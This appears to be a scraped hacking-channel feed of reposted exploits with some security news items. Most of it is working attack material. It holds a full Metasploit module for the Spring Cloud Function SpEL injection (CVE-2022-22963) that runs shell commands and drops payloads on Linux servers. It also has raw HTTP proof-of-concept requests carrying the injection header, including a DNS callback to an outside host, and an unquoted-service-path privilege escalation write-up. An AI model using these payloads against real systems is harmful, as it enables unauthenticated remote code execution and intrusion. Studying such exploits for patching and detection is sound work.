Exploit Collector
Spring Cloud Function SpEL Injection

https://2.bp.blogspot.com/-S-N0q2XL8x8/WWlu5FDj1eI/AAAAAAAAIJA/vGskVQb_QegQZ0-UZMHSDeFJ08ju6pdGQCLcBGAs/s1600/h104.png Spring Cloud Function versions prior to 3.1.7 and 3.2.3 are vulnerable to remote code execution due to using an unsafe evaluation context with user-provided queries. By crafting a request to the application and setting the spring.cloud.function.routing-expression header, an unauthenticated attacker can gain remote code execution. Both patched and unpatched servers will respond with a 500 server error and a JSON encoded message.

MD5 | 37237adb0a663338ed6a55623faff6dbDownload ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Spring Cloud Function SpEL Injection',
'Description' => %q{
Spring Cloud Function versions prior to 3.1.7 and 3.2.3 are vulnerable to remote code execution due to using
an unsafe evaluation context with user-provided queries. By crafting a request to the application and setting
the spring.cloud.function.routing-expression header, an unauthenticated attacker can gain remote code
execution. Both patched and unpatched servers will respond with a 500 server error and a JSON encoded message.
},
'Author' => [
'm09u3r', # vulnerability discovery
'hktalent', # github PoC
'Spencer McIntyre'
],
'References' => [
['CVE', '2022-22963'],
['URL', 'https://github.com/hktalent/spring-spel-0day-poc'],
['URL', 'https://tanzu.vmware.com/security/cve-2022-22963'],
['URL', 'https://attackerkb.com/assessments/cda33728-908a-4394-9bd5-d4126557d225']
],
'DisclosureDate' => '2022-03-29',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper
}
]
],
'DefaultTarget' => 1,
'DefaultOptions' => {
'RPORT' => 8080,
'TARGETURI' => '/functionRouter'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end

def check
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'])
)

return CheckCode::Unknown unless res

# both vulnerable and patched servers respond with 500 and a JSON body with these keys
return CheckCode::Safe unless res.code == 500
return CheckCode::Safe unless %w[timestamp path status error message].to_set.subset?(res.get_json_document&.keys&.to_set)

# best we can do is detect that the service is running
CheckCode::Detected
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end

def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI']),
'headers' => {
'spring.cloud.function.routing-expression' => "T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/sh','-c','#{cmd.gsub("'", "''")}'})"
}
)

fail_with(Failure::Unreachable, 'Connection failed') if res.nil?
fail_with(Failure::UnexpectedReply, 'The server did not respond with the expected 500 error') unless res.code == 500
end
end Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
EG Free AntiVirus 2020 Privilege Escalation / Unquoted Service Path

https://3.bp.blogspot.com/-Ct9xsH2cBRo/WWlviFueiJI/AAAAAAAAIQc/IuoXrqbibrUTnkZ-3FJLKgVXuEB0NPH5wCLcBGAs/s1600/h92.png
EG Free AntiVirus version 2020 suffers from an unquoted service path vulnerability that can lead to privilege escalation.

MD5 | 1f237a69cc97f9cb11c0109dcc192e3e

Download
# Exploit Title: EG Free AntiVirus v2020 - Unquoted Service Path (Local Privilege Escalation)
# Date: 24/01/2022
# Exploit Author: Shahrukh Iqbal Mirza (@shahrukhiqbal24)
# Vendor Homepage: http://www.egsoftweb.in/index.aspx
# Software Link: http://www.egsoftweb.in/OurProduct_Readmore.aspx?id=6
# Version: 2020
# Tested: Windows 10 (x64)
# CVE: CVE-2021-46439

-------------
Description:
-------------

EG Free AntiVirus (v2020) installs a service (WinSEGAV AutoConfig) with
an unquoted service path. Since this service is running as SYSTEM, it
creates a local privilege escalation vulnerability. To properly exploit
this vulnerability, a local attacker must insert an executable in the
path of the service. Rebooting the system or restarting the service
will run the malicious executable with elevated privileges.

------------------
Proof of Concept:
------------------

C:\Users\shah>sc qc “WinSEGAV AutoConfig”
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: WinSEGAV AutoConfig
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\EGSoftWeb\EG Anti
Virus\egavser.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Windows Service For EG Free AntiVirus
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
Best regards,
Shahrukh Iqbal Mirza.

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
IdeaRE RefTree Path Traversal

https://4.bp.blogspot.com/-khon6dqGLkI/WWlvkVAr7qI/AAAAAAAAIQw/JwPgE9u6PkcV9AqklLFI3rOjfEX9YXC4QCLcBGAs/s1600/h96.png
IdeaRE RefTree versions prior to 2021.09.17 suffer from a path traversal vulnerability.

MD5 | 1904b5871bb55bef8c2d09153a908a8b

Download
===============================================================================
title: IdeaRE RefTree Download Path Traversal
product: IdeaRE RefTree < 2021.09.17
vulnerability type: Directory Traversal
CVE ID: CVE-2022-27248
severity: Medium
CVSSv3 score: 4.3
CVSSv3 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
found: 2021-09-13
by: Savino Sisco = 2021.09.17

[CONTACT DETAILS]
Savino Sisco
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Black Hat Ethical Hacking
Recon Tool: PSRecon

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
U.S. Cyber Command Adds APUS as Member in Newly Formed Academic Network

The Academic Engagement Network is designed to advance cybersecurity in four areas.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Global BEC Crackdown Nets 65 Suspects

FBI and international law enforcement agencies execute "Operation Eagle Sweep."

Cross-Site Scripting (XSS) via image rendering application

Hello Hackers, I’m MrEmpy, I’m 17 years old and welcome. Today I’m going to teach you how to test an image rendering application and be…Continue reading on Medium »
Read more...

Spring-Spel-0Day-Poc - Spring-Cloud / spring-cloud-function, spring.cloud.function.routing-expression, RCE, 0day, 0-day, POC, EXP
http://www.kitploit.com/2022/03/spring-spel-0day-poc-spring-cloud.html

___________________________
@hacking_Attack
@Hacking_Video

spring-cloud/spring-cloud-function RCE (https://www.kitploit.com/search/label/RCE) EXP POC https://github.com/spring-cloud/spring-cloud-function header spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("open -a calculator.app")
build wget https://github.com/spring-cloud/spring-cloud-function/archive/refs/tags/v3.1.6.zip
unzip v3.1.6.zip
cd spring-cloud-function-3.1.6
cd spring-cloud-function-samples/function-sample-pojo
mvn package
java -jar ./target/function-sample-pojo-2.0.0.RELEASE.jar

___________________________
@hacking_Attack
@Hacking_Video

get path lists for test find . -name "*.java"|xargs -I % cat %|grep -Eo '"([^" \.\/=>\|,:\}\+\)'"'"']{8,})"'|sort -u|sed 's/"//g' ...
functionRouter
uppercase
lowercase
...

___________________________
@hacking_Attack
@Hacking_Video

poc1 POST /functionRouter HTTP/1.1
host:127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X (https://www.kitploit.com/search/label/OS%20X) 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Connection: close
spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("open -a /System/Applications/Calculator.app")
Content-Length: 5

51pwn

___________________________
@hacking_Attack
@Hacking_Video

poc2 POST /functionRouter HTTP/1.1
host:127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
Connection: close
spring.cloud.function.routing-expression:T(java.net.InetAddress).getByName("random87535.rce.51pwn.com")
Content-Length: 5

51pwn
check curl -v 'https://51pwn.com/dnslog?q=random87535.rce.51pwn.com'

Download Spring-Spel-0Day-Poc (https://github.com/hktalent/spring-spel-0day-poc)

___________________________
@hacking_Attack
@Hacking_Video

Cross-Site Scripting (XSS) via image rendering application
https://medium.com/@mrempy/cross-site-scripting-xss-via-image-rendering-application-f8427afe746d?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video